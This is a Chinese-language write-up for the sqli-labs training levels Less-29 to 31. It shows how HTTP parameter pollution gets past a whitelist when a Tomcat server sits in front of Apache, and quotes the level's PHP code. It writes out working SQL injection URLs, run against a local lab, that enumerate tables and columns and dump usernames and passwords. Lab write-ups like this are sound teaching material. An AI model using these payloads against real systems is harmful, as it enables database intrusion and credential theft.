前言
这几关考察的是http参数渲染,通过多层服务器解析参数的不同进行注入查询。
奇怪的是,本题需要绕过的waf机制并不是在index.php中,在index.php直接注入即可查询:
http://127.0.0.1/sqli-labs-master/Less-29/?id=0' union select 1,database(),3--+
真正需要绕过的其实是login.php,所以我们研究的是login.php内容。
Less-29
首先看看login.php中的关键代码源码:
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
....
}
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
首先用$_SERVER[‘QUERY_STRING’]获取?之后的查询字符串,然后去java_implimentation()函数过滤,返回参数的值id1。然后将刚才所返回的id1参数的值给了函数whitelist,如果是数字则执行后续的对id(不是id1)的查询,否则跳转到hacked.php。
首先了解我们对id的查询经历了哪些过程:
假设我们发送一个请求:
http://127.0.0.1:86/less-29/login.php?id=1&id=2
对于这个请求,apache(php)解析最后一个参数,即显示id=2的内容,Tomcat(jsp)解析第一个参数,即显示id=1的内容。
本关中,客户端的请求首先经过tomcat服务器,tomcat会解析第一个参数(也即第一步的$_SERVER[‘QUERY_STRING’]),接下来tomcat去请求apache(php)服务器,而apache会解析最后一个参数(也即第二步的$id=$_GET[‘id’]),那么最终返回的肯定是apache处理的数据。因为在实际情况中,如果配置两层服务器的情况,往往我们会在第一台服务器做数据处理和过滤,其功能类似于一个waf。而正是因为前后两层服务器对参数解析的不同,我们就可使用HPP(参数污染)攻击,该攻击会对服务器和客户端造成威胁。
我们可以传入两个id,让第一个id为数字,它将会被tomat获取,这样即可成功绕过whitelist函数,而接下去的get获取到的将会是第二个id,所以我们把注入字符放在第二个id即可成功查询。
http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,database(),3--+
http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+
http://127.0.0.1/sqli-labs-master/Less-29/login.php?id=1&id=0' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+
Less-30
考察的内容相同,只是闭合符号不是单引号而是双引号。
Less-31
考察的内容相同,只是闭合符号不是单引号而是”)。
后记
http参数污染不是一种漏洞,但是在网站存在waf的情况下可以帮助攻击者绕过waf。简单的讲就是给相同名称参数赋上两个或两个以上的值,导致应用程序以意外方式解释值而出现漏洞。
我们把搜索的参数赋2个值看下:
百度:
必应:
百度取第一个而bing搜索取第二个参数,这是因为不同的网站(服务器)对相同参数的处理方式不同:
参考文章